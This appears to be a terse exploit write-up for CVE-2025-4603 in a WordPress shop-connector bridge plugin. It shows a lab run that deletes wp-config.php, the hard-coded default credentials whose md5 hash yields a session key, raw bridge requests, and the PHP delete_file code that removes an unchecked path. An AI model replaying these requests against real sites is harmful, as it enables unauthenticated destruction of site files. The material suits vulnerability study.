python3 CVE-2025-4603.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Attempting to delete file...
[*] Delete response: {"response_code":"20","message":"File was deleted from FTP Server successfully"}

define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );

'smconnector_hash'   => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),

POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded

hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version

private function check_auth() {
    if ( $this->shop_cart->isset_request_param( 'key' ) ) {
        // ... session key validation ...
    } elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
        $hash = (string) $this->shop_cart->get_request_param( 'hash' );
        if ( ! $this->is_hash_valid( $hash ) ) {
            // ... error ...
        }
        $key = $this->generate_session_key( $hash );
        // ... return session key ...
    }
}

private function generate_session_key( $hash ) {
    $key = hash( 'sha256', $hash . $timestamp );
    $sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
        . "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
        . $date . "', '" . $date . "')";
    $this->shop_cart->exec_sql( $sql );
    return $key;
}

POST /?connector=bridge&task=delete_file&key=<session_key>&path=wp-content.php

	/** Delete file */
	private function delete_file() {
		if ( ! $this->shop_cart->isset_request_param( 'path' ) ) {
			$this->generate_error( $this->br_errors['path_param_missing'] );
		}

		$filepath = (string) $this->shop_cart->get_request_param( 'path' );

		if ( empty( $filepath ) ) {
			$this->generate_error( $this->br_errors['path_param_empty'] );
		}

		$filepath = $this->shop_cart->get_shop_root_dir() . '/' . $filepath;

		if ( ! $this->shop_cart->file_exists( $filepath ) ) {
			$this->generate_error( $this->br_errors['delete_file_error'] );
		}

		$this->shop_cart->delete_file( $filepath );
	}

public function delete_file($filepath) {
    if (!file_exists($filepath)) {
        die(json_encode(array(
            self::CODE_RESPONSE => self::ERROR_CODE_COMMON,
            self::KEY_MESSAGE => 'File is missing on server',
        )));
    }

    if (unlink($filepath)) {
        die(json_encode(array(
            self::CODE_RESPONSE => self::SUCCESSFUL,
            self::KEY_MESSAGE => 'File was deleted from FTP Server successfully',
        )));
    }
}